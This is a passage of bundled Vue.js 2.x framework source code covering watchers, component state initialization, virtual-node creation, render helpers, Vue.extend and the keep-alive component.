Watcher.prototype.update = function update() {
/* istanbul ignore else */
if (this.lazy) {
this.dirty = true;
} else if (this.sync) {
this.run();
} else {
queueWatcher(this);
}
};
/**
* Scheduler job interface.
* Will be called by the scheduler.
*/
Watcher.prototype.run = function run() {
if (this.active) {
var value = this.get();
if (value !== this.value ||
// Deep watchers and watchers on Object/Arrays should fire even
// when the value is the same, because the value may
// have mutated.
isObject(value) || this.deep) {
// set new value
var oldValue = this.value;
this.value = value;
if (this.user) {
try {
this.cb.call(this.vm, value, oldValue);
} catch (e) {
handleError(e, this.vm, "callback for watcher \"" + this.expression + "\"");
}
} else {
this.cb.call(this.vm, value, oldValue);
}
}
}
};
/**
* Evaluate the value of the watcher.
* This only gets called for lazy watchers.
*/
Watcher.prototype.evaluate = function evaluate() {
this.value = this.get();
this.dirty = false;
};
/**
* Depend on all deps collected by this watcher.
*/
Watcher.prototype.depend = function depend() {
var this$1 = this;
var i = this.deps.length;
while (i--) {
this$1.deps[i].depend();
}
};
/**
* Remove self from all dependencies' subscriber list.
*/
Watcher.prototype.teardown = function teardown() {
var this$1 = this;
if (this.active) {
// remove self from vm's watcher list
// this is a somewhat expensive operation so we skip it
// if the vm is being destroyed.
if (!this.vm._isBeingDestroyed) {
remove(this.vm._watchers, this);
}
var i = this.deps.length;
while (i--) {
this$1.deps[i].removeSub(this$1);
}
this.active = false;
}
};
/**
* Recursively traverse an object to evoke all converted
* getters, so that every nested property inside the object
* is collected as a "deep" dependency.
*/
var seenObjects = new _Set();
function traverse(val) {
seenObjects.clear();
_traverse(val, seenObjects);
}
function _traverse(val, seen) {
var i, keys;
var isA = Array.isArray(val);
if (!isA && !isObject(val) || !Object.isExtensible(val)) {
return;
}
if (val.__ob__) {
var depId = val.__ob__.dep.id;
if (seen.has(depId)) {
return;
}
seen.add(depId);
}
if (isA) {
i = val.length;
while (i--) {
_traverse(val[i], seen);
}
} else {
keys = Object.keys(val);
i = keys.length;
while (i--) {
_traverse(val[keys[i]], seen);
}
}
}
/* */
var sharedPropertyDefinition = {
enumerable: true,
configurable: true,
get: noop,
set: noop
};
function proxy(target, sourceKey, key) {
sharedPropertyDefinition.get = function proxyGetter() {
return this[sourceKey][key];
};
sharedPropertyDefinition.set = function proxySetter(val) {
this[sourceKey][key] = val;
};
Object.defineProperty(target, key, sharedPropertyDefinition);
}
function initState(vm) {
vm._watchers = [];
var opts = vm.$options;
if (opts.props) {
initProps(vm, opts.props);
}
if (opts.methods) {
initMethods(vm, opts.methods);
}
if (opts.data) {
initData(vm);
} else {
observe(vm._data = {}, true /* asRootData */);
}
if (opts.computed) {
initComputed(vm, opts.computed);
}
if (opts.watch) {
initWatch(vm, opts.watch);
}
}
var isReservedProp = {
key: 1,
ref: 1,
slot: 1
};
function initProps(vm, propsOptions) {
var propsData = vm.$options.propsData || {};
var props = vm._props = {};
// cache prop keys so that future props updates can iterate using Array
// instead of dynamic object key enumeration.
var keys = vm.$options._propKeys = [];
var isRoot = !vm.$parent;
// root instance props should be converted
observerState.shouldConvert = isRoot;
var loop = function loop(key) {
keys.push(key);
var value = validateProp(key, propsOptions, propsData, vm);
/* istanbul ignore else */
if (true) {
if (isReservedProp[key] || config.isReservedAttr(key)) {
warn("\"" + key + "\" is a reserved attribute and cannot be used as component prop.", vm);
}
defineReactive$$1(props, key, value, function () {
if (vm.$parent && !observerState.isSettingProps) {
warn("Avoid mutating a prop directly since the value will be " + "overwritten whenever the parent component re-renders. " + "Instead, use a data or computed property based on the prop's " + "value. Prop being mutated: \"" + key + "\"", vm);
}
});
} else {
defineReactive$$1(props, key, value);
}
// static props are already proxied on the component's prototype
// during Vue.extend(). We only need to proxy props defined at
// instantiation here.
if (!(key in vm)) {
proxy(vm, "_props", key);
}
};
for (var key in propsOptions) {
loop(key);
}observerState.shouldConvert = true;
}
function initData(vm) {
var data = vm.$options.data;
data = vm._data = typeof data === 'function' ? getData(data, vm) : data || {};
if (!isPlainObject(data)) {
data = {};
"development" !== 'production' && warn('data functions should return an object:\n' + 'https://vuejs.org/v2/guide/components.html#data-Must-Be-a-Function', vm);
}
// proxy data on instance
var keys = Object.keys(data);
var props = vm.$options.props;
var i = keys.length;
while (i--) {
if (props && hasOwn(props, keys[i])) {
"development" !== 'production' && warn("The data property \"" + keys[i] + "\" is already declared as a prop. " + "Use prop default value instead.", vm);
} else if (!isReserved(keys[i])) {
proxy(vm, "_data", keys[i]);
}
}
// observe data
observe(data, true /* asRootData */);
}
function getData(data, vm) {
try {
return data.call(vm);
} catch (e) {
handleError(e, vm, "data()");
return {};
}
}
var computedWatcherOptions = { lazy: true };
function initComputed(vm, computed) {
var watchers = vm._computedWatchers = Object.create(null);
for (var key in computed) {
var userDef = computed[key];
var getter = typeof userDef === 'function' ? userDef : userDef.get;
if (true) {
if (getter === undefined) {
warn("No getter function has been defined for computed property \"" + key + "\".", vm);
getter = noop;
}
}
// create internal watcher for the computed property.
watchers[key] = new Watcher(vm, getter, noop, computedWatcherOptions);
// component-defined computed properties are already defined on the
// component prototype. We only need to define computed properties defined
// at instantiation here.
if (!(key in vm)) {
defineComputed(vm, key, userDef);
} else if (true) {
if (key in vm.$data) {
warn("The computed property \"" + key + "\" is already defined in data.", vm);
} else if (vm.$options.props && key in vm.$options.props) {
warn("The computed property \"" + key + "\" is already defined as a prop.", vm);
}
}
}
}
function defineComputed(target, key, userDef) {
if (typeof userDef === 'function') {
sharedPropertyDefinition.get = createComputedGetter(key);
sharedPropertyDefinition.set = noop;
} else {
sharedPropertyDefinition.get = userDef.get ? userDef.cache !== false ? createComputedGetter(key) : userDef.get : noop;
sharedPropertyDefinition.set = userDef.set ? userDef.set : noop;
}
Object.defineProperty(target, key, sharedPropertyDefinition);
}
function createComputedGetter(key) {
return function computedGetter() {
var watcher = this._computedWatchers && this._computedWatchers[key];
if (watcher) {
if (watcher.dirty) {
watcher.evaluate();
}
if (Dep.target) {
watcher.depend();
}
return watcher.value;
}
};
}
function initMethods(vm, methods) {
var props = vm.$options.props;
for (var key in methods) {
vm[key] = methods[key] == null ? noop : bind(methods[key], vm);
if (true) {
if (methods[key] == null) {
warn("method \"" + key + "\" has an undefined value in the component definition. " + "Did you reference the function correctly?", vm);
}
if (props && hasOwn(props, key)) {
warn("method \"" + key + "\" has already been defined as a prop.", vm);
}
}
}
}
function initWatch(vm, watch) {
for (var key in watch) {
var handler = watch[key];
if (Array.isArray(handler)) {
for (var i = 0; i < handler.length; i++) {
createWatcher(vm, key, handler[i]);
}
} else {
createWatcher(vm, key, handler);
}
}
}
function createWatcher(vm, key, handler) {
var options;
if (isPlainObject(handler)) {
options = handler;
handler = handler.handler;
}
if (typeof handler === 'string') {
handler = vm[handler];
}
vm.$watch(key, handler, options);
}
function stateMixin(Vue) {
// flow somehow has problems with directly declared definition object
// when using Object.defineProperty, so we have to procedurally build up
// the object here.
var dataDef = {};
dataDef.get = function () {
return this._data;
};
var propsDef = {};
propsDef.get = function () {
return this._props;
};
if (true) {
dataDef.set = function (newData) {
warn('Avoid replacing instance root $data. ' + 'Use nested data properties instead.', this);
};
propsDef.set = function () {
warn("$props is readonly.", this);
};
}
Object.defineProperty(Vue.prototype, '$data', dataDef);
Object.defineProperty(Vue.prototype, '$props', propsDef);
Vue.prototype.$set = set;
Vue.prototype.$delete = del;
Vue.prototype.$watch = function (expOrFn, cb, options) {
var vm = this;
options = options || {};
options.user = true;
var watcher = new Watcher(vm, expOrFn, cb, options);
if (options.immediate) {
cb.call(vm, watcher.value);
}
return function unwatchFn() {
watcher.teardown();
};
};
}
/* */
function initProvide(vm) {
var provide = vm.$options.provide;
if (provide) {
vm._provided = typeof provide === 'function' ? provide.call(vm) : provide;
}
}
function initInjections(vm) {
var result = resolveInject(vm.$options.inject, vm);
if (result) {
Object.keys(result).forEach(function (key) {
/* istanbul ignore else */
if (true) {
defineReactive$$1(vm, key, result[key], function () {
warn("Avoid mutating an injected value directly since the changes will be " + "overwritten whenever the provided component re-renders. " + "injection being mutated: \"" + key + "\"", vm);
});
} else {
defineReactive$$1(vm, key, result[key]);
}
});
}
}
function resolveInject(inject, vm) {
if (inject) {
// inject is :any because flow is not smart enough to figure out cached
// isArray here
var isArray = Array.isArray(inject);
var result = Object.create(null);
var keys = isArray ? inject : hasSymbol ? Reflect.ownKeys(inject) : Object.keys(inject);
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
var provideKey = isArray ? key : inject[key];
var source = vm;
while (source) {
if (source._provided && provideKey in source._provided) {
result[key] = source._provided[provideKey];
break;
}
source = source.$parent;
}
}
return result;
}
}
/* */
function createFunctionalComponent(Ctor, propsData, data, context, children) {
var props = {};
var propOptions = Ctor.options.props;
if (isDef(propOptions)) {
for (var key in propOptions) {
props[key] = validateProp(key, propOptions, propsData || {});
}
} else {
if (isDef(data.attrs)) {
mergeProps(props, data.attrs);
}
if (isDef(data.props)) {
mergeProps(props, data.props);
}
}
// ensure the createElement function in functional components
// gets a unique context - this is necessary for correct named slot check
var _context = Object.create(context);
var h = function h(a, b, c, d) {
return createElement(_context, a, b, c, d, true);
};
var vnode = Ctor.options.render.call(null, h, {
data: data,
props: props,
children: children,
parent: context,
listeners: data.on || {},
injections: resolveInject(Ctor.options.inject, context),
slots: function slots() {
return resolveSlots(children, context);
}
});
if (vnode instanceof VNode) {
vnode.functionalContext = context;
vnode.functionalOptions = Ctor.options;
if (data.slot) {
(vnode.data || (vnode.data = {})).slot = data.slot;
}
}
return vnode;
}
function mergeProps(to, from) {
for (var key in from) {
to[camelize(key)] = from[key];
}
}
/* */
// hooks to be invoked on component VNodes during patch
var componentVNodeHooks = {
init: function init(vnode, hydrating, parentElm, refElm) {
if (!vnode.componentInstance || vnode.componentInstance._isDestroyed) {
var child = vnode.componentInstance = createComponentInstanceForVnode(vnode, activeInstance, parentElm, refElm);
child.$mount(hydrating ? vnode.elm : undefined, hydrating);
} else if (vnode.data.keepAlive) {
// kept-alive components, treat as a patch
var mountedNode = vnode; // work around flow
componentVNodeHooks.prepatch(mountedNode, mountedNode);
}
},
prepatch: function prepatch(oldVnode, vnode) {
var options = vnode.componentOptions;
var child = vnode.componentInstance = oldVnode.componentInstance;
updateChildComponent(child, options.propsData, // updated props
options.listeners, // updated listeners
vnode, // new parent vnode
options.children // new children
);
},
insert: function insert(vnode) {
var context = vnode.context;
var componentInstance = vnode.componentInstance;
if (!componentInstance._isMounted) {
componentInstance._isMounted = true;
callHook(componentInstance, 'mounted');
}
if (vnode.data.keepAlive) {
if (context._isMounted) {
// vue-router#1212
// During updates, a kept-alive component's child components may
// change, so directly walking the tree here may call activated hooks
// on incorrect children. Instead we push them into a queue which will
// be processed after the whole patch process ended.
queueActivatedComponent(componentInstance);
} else {
activateChildComponent(componentInstance, true /* direct */);
}
}
},
destroy: function destroy(vnode) {
var componentInstance = vnode.componentInstance;
if (!componentInstance._isDestroyed) {
if (!vnode.data.keepAlive) {
componentInstance.$destroy();
} else {
deactivateChildComponent(componentInstance, true /* direct */);
}
}
}
};
var hooksToMerge = Object.keys(componentVNodeHooks);
function createComponent(Ctor, data, context, children, tag) {
if (isUndef(Ctor)) {
return;
}
var baseCtor = context.$options._base;
// plain options object: turn it into a constructor
if (isObject(Ctor)) {
Ctor = baseCtor.extend(Ctor);
}
// if at this stage it's not a constructor or an async component factory,
// reject.
if (typeof Ctor !== 'function') {
if (true) {
warn("Invalid Component definition: " + String(Ctor), context);
}
return;
}
// async component
if (isUndef(Ctor.cid)) {
Ctor = resolveAsyncComponent(Ctor, baseCtor, context);
if (Ctor === undefined) {
// return nothing if this is indeed an async component
// wait for the callback to trigger parent update.
return;
}
}
// resolve constructor options in case global mixins are applied after
// component constructor creation
resolveConstructorOptions(Ctor);
data = data || {};
// transform component v-model data into props & events
if (isDef(data.model)) {
transformModel(Ctor.options, data);
}
// extract props
var propsData = extractPropsFromVNodeData(data, Ctor, tag);
// functional component
if (isTrue(Ctor.options.functional)) {
return createFunctionalComponent(Ctor, propsData, data, context, children);
}
// extract listeners, since these needs to be treated as
// child component listeners instead of DOM listeners
var listeners = data.on;
// replace with listeners with .native modifier
data.on = data.nativeOn;
if (isTrue(Ctor.options.abstract)) {
// abstract components do not keep anything
// other than props & listeners
data = {};
}
// merge component management hooks onto the placeholder node
mergeHooks(data);
// return a placeholder vnode
var name = Ctor.options.name || tag;
var vnode = new VNode("vue-component-" + Ctor.cid + (name ? "-" + name : ''), data, undefined, undefined, undefined, context, { Ctor: Ctor, propsData: propsData, listeners: listeners, tag: tag, children: children });
return vnode;
}
function createComponentInstanceForVnode(vnode, // we know it's MountedComponentVNode but flow doesn't
parent, // activeInstance in lifecycle state
parentElm, refElm) {
var vnodeComponentOptions = vnode.componentOptions;
var options = {
_isComponent: true,
parent: parent,
propsData: vnodeComponentOptions.propsData,
_componentTag: vnodeComponentOptions.tag,
_parentVnode: vnode,
_parentListeners: vnodeComponentOptions.listeners,
_renderChildren: vnodeComponentOptions.children,
_parentElm: parentElm || null,
_refElm: refElm || null
};
// check inline-template render functions
var inlineTemplate = vnode.data.inlineTemplate;
if (isDef(inlineTemplate)) {
options.render = inlineTemplate.render;
options.staticRenderFns = inlineTemplate.staticRenderFns;
}
return new vnodeComponentOptions.Ctor(options);
}
function mergeHooks(data) {
if (!data.hook) {
data.hook = {};
}
for (var i = 0; i < hooksToMerge.length; i++) {
var key = hooksToMerge[i];
var fromParent = data.hook[key];
var ours = componentVNodeHooks[key];
data.hook[key] = fromParent ? mergeHook$1(ours, fromParent) : ours;
}
}
function mergeHook$1(one, two) {
return function (a, b, c, d) {
one(a, b, c, d);
two(a, b, c, d);
};
}
// transform component v-model info (value and callback) into
// prop and event handler respectively.
function transformModel(options, data) {
var prop = options.model && options.model.prop || 'value';
var event = options.model && options.model.event || 'input';(data.props || (data.props = {}))[prop] = data.model.value;
var on = data.on || (data.on = {});
if (isDef(on[event])) {
on[event] = [data.model.callback].concat(on[event]);
} else {
on[event] = data.model.callback;
}
}
/* */
var SIMPLE_NORMALIZE = 1;
var ALWAYS_NORMALIZE = 2;
// wrapper function for providing a more flexible interface
// without getting yelled at by flow
function createElement(context, tag, data, children, normalizationType, alwaysNormalize) {
if (Array.isArray(data) || isPrimitive(data)) {
normalizationType = children;
children = data;
data = undefined;
}
if (isTrue(alwaysNormalize)) {
normalizationType = ALWAYS_NORMALIZE;
}
return _createElement(context, tag, data, children, normalizationType);
}
function _createElement(context, tag, data, children, normalizationType) {
if (isDef(data) && isDef(data.__ob__)) {
"development" !== 'production' && warn("Avoid using observed data object as vnode data: " + JSON.stringify(data) + "\n" + 'Always create fresh vnode data objects in each render!', context);
return createEmptyVNode();
}
if (!tag) {
// in case of component :is set to falsy value
return createEmptyVNode();
}
// support single function children as default scoped slot
if (Array.isArray(children) && typeof children[0] === 'function') {
data = data || {};
data.scopedSlots = { default: children[0] };
children.length = 0;
}
if (normalizationType === ALWAYS_NORMALIZE) {
children = normalizeChildren(children);
} else if (normalizationType === SIMPLE_NORMALIZE) {
children = simpleNormalizeChildren(children);
}
var vnode, ns;
if (typeof tag === 'string') {
var Ctor;
ns = config.getTagNamespace(tag);
if (config.isReservedTag(tag)) {
// platform built-in elements
vnode = new VNode(config.parsePlatformTagName(tag), data, children, undefined, undefined, context);
} else if (isDef(Ctor = resolveAsset(context.$options, 'components', tag))) {
// component
vnode = createComponent(Ctor, data, context, children, tag);
} else {
// unknown or unlisted namespaced elements
// check at runtime because it may get assigned a namespace when its
// parent normalizes children
vnode = new VNode(tag, data, children, undefined, undefined, context);
}
} else {
// direct component options / constructor
vnode = createComponent(tag, data, context, children);
}
if (isDef(vnode)) {
if (ns) {
applyNS(vnode, ns);
}
return vnode;
} else {
return createEmptyVNode();
}
}
function applyNS(vnode, ns) {
vnode.ns = ns;
if (vnode.tag === 'foreignObject') {
// use default namespace inside foreignObject
return;
}
if (isDef(vnode.children)) {
for (var i = 0, l = vnode.children.length; i < l; i++) {
var child = vnode.children[i];
if (isDef(child.tag) && isUndef(child.ns)) {
applyNS(child, ns);
}
}
}
}
/* */
/**
* Runtime helper for rendering v-for lists.
*/
function renderList(val, render) {
var ret, i, l, keys, key;
if (Array.isArray(val) || typeof val === 'string') {
ret = new Array(val.length);
for (i = 0, l = val.length; i < l; i++) {
ret[i] = render(val[i], i);
}
} else if (typeof val === 'number') {
ret = new Array(val);
for (i = 0; i < val; i++) {
ret[i] = render(i + 1, i);
}
} else if (isObject(val)) {
keys = Object.keys(val);
ret = new Array(keys.length);
for (i = 0, l = keys.length; i < l; i++) {
key = keys[i];
ret[i] = render(val[key], key, i);
}
}
if (isDef(ret)) {
ret._isVList = true;
}
return ret;
}
/* */
/**
* Runtime helper for rendering <slot>
*/
function renderSlot(name, fallback, props, bindObject) {
var scopedSlotFn = this.$scopedSlots[name];
if (scopedSlotFn) {
// scoped slot
props = props || {};
if (bindObject) {
extend(props, bindObject);
}
return scopedSlotFn(props) || fallback;
} else {
var slotNodes = this.$slots[name];
// warn duplicate slot usage
if (slotNodes && "development" !== 'production') {
slotNodes._rendered && warn("Duplicate presence of slot \"" + name + "\" found in the same render tree " + "- this will likely cause render errors.", this);
slotNodes._rendered = true;
}
return slotNodes || fallback;
}
}
/* */
/**
* Runtime helper for resolving filters
*/
function resolveFilter(id) {
return resolveAsset(this.$options, 'filters', id, true) || identity;
}
/* */
/**
* Runtime helper for checking keyCodes from config.
*/
function checkKeyCodes(eventKeyCode, key, builtInAlias) {
var keyCodes = config.keyCodes[key] || builtInAlias;
if (Array.isArray(keyCodes)) {
return keyCodes.indexOf(eventKeyCode) === -1;
} else {
return keyCodes !== eventKeyCode;
}
}
/* */
/**
* Runtime helper for merging v-bind="object" into a VNode's data.
*/
function bindObjectProps(data, tag, value, asProp) {
if (value) {
if (!isObject(value)) {
"development" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);
} else {
if (Array.isArray(value)) {
value = toObject(value);
}
var hash;
for (var key in value) {
if (key === 'class' || key === 'style') {
hash = data;
} else {
var type = data.attrs && data.attrs.type;
hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});
}
if (!(key in hash)) {
hash[key] = value[key];
}
}
}
}
return data;
}
/* */
/**
* Runtime helper for rendering static trees.
*/
function renderStatic(index, isInFor) {
var tree = this._staticTrees[index];
// if has already-rendered static tree and not inside v-for,
// we can reuse the same tree by doing a shallow clone.
if (tree && !isInFor) {
return Array.isArray(tree) ? cloneVNodes(tree) : cloneVNode(tree);
}
// otherwise, render a fresh tree.
tree = this._staticTrees[index] = this.$options.staticRenderFns[index].call(this._renderProxy);
markStatic(tree, "__static__" + index, false);
return tree;
}
/**
* Runtime helper for v-once.
* Effectively it means marking the node as static with a unique key.
*/
function markOnce(tree, index, key) {
markStatic(tree, "__once__" + index + (key ? "_" + key : ""), true);
return tree;
}
function markStatic(tree, key, isOnce) {
if (Array.isArray(tree)) {
for (var i = 0; i < tree.length; i++) {
if (tree[i] && typeof tree[i] !== 'string') {
markStaticNode(tree[i], key + "_" + i, isOnce);
}
}
} else {
markStaticNode(tree, key, isOnce);
}
}
function markStaticNode(node, key, isOnce) {
node.isStatic = true;
node.key = key;
node.isOnce = isOnce;
}
/* */
function initRender(vm) {
vm._vnode = null; // the root of the child tree
vm._staticTrees = null;
var parentVnode = vm.$vnode = vm.$options._parentVnode; // the placeholder node in parent tree
var renderContext = parentVnode && parentVnode.context;
vm.$slots = resolveSlots(vm.$options._renderChildren, renderContext);
vm.$scopedSlots = emptyObject;
// bind the createElement fn to this instance
// so that we get proper render context inside it.
// args order: tag, data, children, normalizationType, alwaysNormalize
// internal version is used by render functions compiled from templates
vm._c = function (a, b, c, d) {
return createElement(vm, a, b, c, d, false);
};
// normalization is always applied for the public version, used in
// user-written render functions.
vm.$createElement = function (a, b, c, d) {
return createElement(vm, a, b, c, d, true);
};
}
function renderMixin(Vue) {
Vue.prototype.$nextTick = function (fn) {
return nextTick(fn, this);
};
Vue.prototype._render = function () {
var vm = this;
var ref = vm.$options;
var render = ref.render;
var staticRenderFns = ref.staticRenderFns;
var _parentVnode = ref._parentVnode;
if (vm._isMounted) {
// clone slot nodes on re-renders
for (var key in vm.$slots) {
vm.$slots[key] = cloneVNodes(vm.$slots[key]);
}
}
vm.$scopedSlots = _parentVnode && _parentVnode.data.scopedSlots || emptyObject;
if (staticRenderFns && !vm._staticTrees) {
vm._staticTrees = [];
}
// set parent vnode. this allows render functions to have access
// to the data on the placeholder node.
vm.$vnode = _parentVnode;
// render self
var vnode;
try {
vnode = render.call(vm._renderProxy, vm.$createElement);
} catch (e) {
handleError(e, vm, "render function");
// return error render result,
// or previous vnode to prevent render error causing blank component
/* istanbul ignore else */
if (true) {
vnode = vm.$options.renderError ? vm.$options.renderError.call(vm._renderProxy, vm.$createElement, e) : vm._vnode;
} else {
vnode = vm._vnode;
}
}
// return empty vnode in case the render function errored out
if (!(vnode instanceof VNode)) {
if ("development" !== 'production' && Array.isArray(vnode)) {
warn('Multiple root nodes returned from render function. Render function ' + 'should return a single root node.', vm);
}
vnode = createEmptyVNode();
}
// set parent
vnode.parent = _parentVnode;
return vnode;
};
// internal render helpers.
// these are exposed on the instance prototype to reduce generated render
// code size.
Vue.prototype._o = markOnce;
Vue.prototype._n = toNumber;
Vue.prototype._s = toString;
Vue.prototype._l = renderList;
Vue.prototype._t = renderSlot;
Vue.prototype._q = looseEqual;
Vue.prototype._i = looseIndexOf;
Vue.prototype._m = renderStatic;
Vue.prototype._f = resolveFilter;
Vue.prototype._k = checkKeyCodes;
Vue.prototype._b = bindObjectProps;
Vue.prototype._v = createTextVNode;
Vue.prototype._e = createEmptyVNode;
Vue.prototype._u = resolveScopedSlots;
}
/* */
var uid$1 = 0;
function initMixin(Vue) {
Vue.prototype._init = function (options) {
var vm = this;
// a uid
vm._uid = uid$1++;
var startTag, endTag;
/* istanbul ignore if */
if ("development" !== 'production' && config.performance && mark) {
startTag = "vue-perf-init:" + vm._uid;
endTag = "vue-perf-end:" + vm._uid;
mark(startTag);
}
// a flag to avoid this being observed
vm._isVue = true;
// merge options
if (options && options._isComponent) {
// optimize internal component instantiation
// since dynamic options merging is pretty slow, and none of the
// internal component options needs special treatment.
initInternalComponent(vm, options);
} else {
vm.$options = mergeOptions(resolveConstructorOptions(vm.constructor), options || {}, vm);
}
/* istanbul ignore else */
if (true) {
initProxy(vm);
} else {
vm._renderProxy = vm;
}
// expose real self
vm._self = vm;
initLifecycle(vm);
initEvents(vm);
initRender(vm);
callHook(vm, 'beforeCreate');
initInjections(vm); // resolve injections before data/props
initState(vm);
initProvide(vm); // resolve provide after data/props
callHook(vm, 'created');
/* istanbul ignore if */
if ("development" !== 'production' && config.performance && mark) {
vm._name = formatComponentName(vm, false);
mark(endTag);
measure(vm._name + " init", startTag, endTag);
}
if (vm.$options.el) {
vm.$mount(vm.$options.el);
}
};
}
function initInternalComponent(vm, options) {
var opts = vm.$options = Object.create(vm.constructor.options);
// doing this because it's faster than dynamic enumeration.
opts.parent = options.parent;
opts.propsData = options.propsData;
opts._parentVnode = options._parentVnode;
opts._parentListeners = options._parentListeners;
opts._renderChildren = options._renderChildren;
opts._componentTag = options._componentTag;
opts._parentElm = options._parentElm;
opts._refElm = options._refElm;
if (options.render) {
opts.render = options.render;
opts.staticRenderFns = options.staticRenderFns;
}
}
function resolveConstructorOptions(Ctor) {
var options = Ctor.options;
if (Ctor.super) {
var superOptions = resolveConstructorOptions(Ctor.super);
var cachedSuperOptions = Ctor.superOptions;
if (superOptions !== cachedSuperOptions) {
// super option changed,
// need to resolve new options.
Ctor.superOptions = superOptions;
// check if there are any late-modified/attached options (#4976)
var modifiedOptions = resolveModifiedOptions(Ctor);
// update base extend options
if (modifiedOptions) {
extend(Ctor.extendOptions, modifiedOptions);
}
options = Ctor.options = mergeOptions(superOptions, Ctor.extendOptions);
if (options.name) {
options.components[options.name] = Ctor;
}
}
}
return options;
}
function resolveModifiedOptions(Ctor) {
var modified;
var latest = Ctor.options;
var extended = Ctor.extendOptions;
var sealed = Ctor.sealedOptions;
for (var key in latest) {
if (latest[key] !== sealed[key]) {
if (!modified) {
modified = {};
}
modified[key] = dedupe(latest[key], extended[key], sealed[key]);
}
}
return modified;
}
function dedupe(latest, extended, sealed) {
// compare latest and sealed to ensure lifecycle hooks won't be duplicated
// between merges
if (Array.isArray(latest)) {
var res = [];
sealed = Array.isArray(sealed) ? sealed : [sealed];
extended = Array.isArray(extended) ? extended : [extended];
for (var i = 0; i < latest.length; i++) {
// push original options and not sealed options to exclude duplicated options
if (extended.indexOf(latest[i]) >= 0 || sealed.indexOf(latest[i]) < 0) {
res.push(latest[i]);
}
}
return res;
} else {
return latest;
}
}
function Vue$3(options) {
if ("development" !== 'production' && !(this instanceof Vue$3)) {
warn('Vue is a constructor and should be called with the `new` keyword');
}
this._init(options);
}
initMixin(Vue$3);
stateMixin(Vue$3);
eventsMixin(Vue$3);
lifecycleMixin(Vue$3);
renderMixin(Vue$3);
/* */
function initUse(Vue) {
Vue.use = function (plugin) {
/* istanbul ignore if */
if (plugin.installed) {
return this;
}
// additional parameters
var args = toArray(arguments, 1);
args.unshift(this);
if (typeof plugin.install === 'function') {
plugin.install.apply(plugin, args);
} else if (typeof plugin === 'function') {
plugin.apply(null, args);
}
plugin.installed = true;
return this;
};
}
/* */
function initMixin$1(Vue) {
Vue.mixin = function (mixin) {
this.options = mergeOptions(this.options, mixin);
return this;
};
}
/* */
function initExtend(Vue) {
/**
* Each instance constructor, including Vue, has a unique
* cid. This enables us to create wrapped "child
* constructors" for prototypal inheritance and cache them.
*/
Vue.cid = 0;
var cid = 1;
/**
* Class inheritance
*/
Vue.extend = function (extendOptions) {
extendOptions = extendOptions || {};
var Super = this;
var SuperId = Super.cid;
var cachedCtors = extendOptions._Ctor || (extendOptions._Ctor = {});
if (cachedCtors[SuperId]) {
return cachedCtors[SuperId];
}
var name = extendOptions.name || Super.options.name;
if (true) {
if (!/^[a-zA-Z][\w-]*$/.test(name)) {
warn('Invalid component name: "' + name + '". Component names ' + 'can only contain alphanumeric characters and the hyphen, ' + 'and must start with a letter.');
}
}
var Sub = function VueComponent(options) {
this._init(options);
};
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
Sub.cid = cid++;
Sub.options = mergeOptions(Super.options, extendOptions);
Sub['super'] = Super;
// For props and computed properties, we define the proxy getters on
// the Vue instances at extension time, on the extended prototype. This
// avoids Object.defineProperty calls for each instance created.
if (Sub.options.props) {
initProps$1(Sub);
}
if (Sub.options.computed) {
initComputed$1(Sub);
}
// allow further extension/mixin/plugin usage
Sub.extend = Super.extend;
Sub.mixin = Super.mixin;
Sub.use = Super.use;
// create asset registers, so extended classes
// can have their private assets too.
ASSET_TYPES.forEach(function (type) {
Sub[type] = Super[type];
});
// enable recursive self-lookup
if (name) {
Sub.options.components[name] = Sub;
}
// keep a reference to the super options at extension time.
// later at instantiation we can check if Super's options have
// been updated.
Sub.superOptions = Super.options;
Sub.extendOptions = extendOptions;
Sub.sealedOptions = extend({}, Sub.options);
// cache constructor
cachedCtors[SuperId] = Sub;
return Sub;
};
}
function initProps$1(Comp) {
var props = Comp.options.props;
for (var key in props) {
proxy(Comp.prototype, "_props", key);
}
}
function initComputed$1(Comp) {
var computed = Comp.options.computed;
for (var key in computed) {
defineComputed(Comp.prototype, key, computed[key]);
}
}
/* */
function initAssetRegisters(Vue) {
/**
* Create asset registration methods.
*/
ASSET_TYPES.forEach(function (type) {
Vue[type] = function (id, definition) {
if (!definition) {
return this.options[type + 's'][id];
} else {
/* istanbul ignore if */
if (true) {
if (type === 'component' && config.isReservedTag(id)) {
warn('Do not use built-in or reserved HTML elements as component ' + 'id: ' + id);
}
}
if (type === 'component' && isPlainObject(definition)) {
definition.name = definition.name || id;
definition = this.options._base.extend(definition);
}
if (type === 'directive' && typeof definition === 'function') {
definition = { bind: definition, update: definition };
}
this.options[type + 's'][id] = definition;
return definition;
}
};
});
}
/* */
var patternTypes = [String, RegExp];
function getComponentName(opts) {
return opts && (opts.Ctor.options.name || opts.tag);
}
function matches(pattern, name) {
if (typeof pattern === 'string') {
return pattern.split(',').indexOf(name) > -1;
} else if (isRegExp(pattern)) {
return pattern.test(name);
}
/* istanbul ignore next */
return false;
}
function pruneCache(cache, current, filter) {
for (var key in cache) {
var cachedNode = cache[key];
if (cachedNode) {
var name = getComponentName(cachedNode.componentOptions);
if (name && !filter(name)) {
if (cachedNode !== current) {
pruneCacheEntry(cachedNode);
}
cache[key] = null;
}
}
}
}
function pruneCacheEntry(vnode) {
if (vnode) {
vnode.componentInstance.$destroy();
}
}
var KeepAlive = {
name: 'keep-alive',
abstract: true,
props: {
include: patternTypes,
exclude: patternTypes
},
created: function created() {
this.cache = Object.create(null);
},
destroyed: function destroyed() {
var this$1 = this;
for (var key in this$1.cache) {
pruneCacheEntry(this$1.cache[key]);
}
},
watch: {
include: function include(val) {
pruneCache(this.cache, this._vnode, function (name) {
return matches(val, name);
});
},
exclude: function exclude(val) {
pruneCache(this.cache, this._vnode, function (name) {
return !matches(val, name);
});
}
},
render: function render() {
var vnode = getFirstComponentChild(this.$slots.default);
var componentOptions = vnode && vnode.componentOptions;
if (componentOptions) {
// check pattern
var name = getComponentName(componentOptions);
if (name && (this.include && !matches(this.include, name) || this.exclude && matches(this.exclude, name))) {
return vnode;
}
var key = vnode.key == null
// same constructor may get registered as different local components
// so cid alone is not enough (#3269)
? componentOptions.Ctor.cid + (componentOptions.tag ? "::" + componentOptions.tag : '') : vnode.key;
if (this.cache[key]) {
vnode.componentInstance = this.cache[key].componentInstance;
} else {
this.cache[key] = vnode;
}
vnode.data.keepAlive = true;
}
return vnode;
}
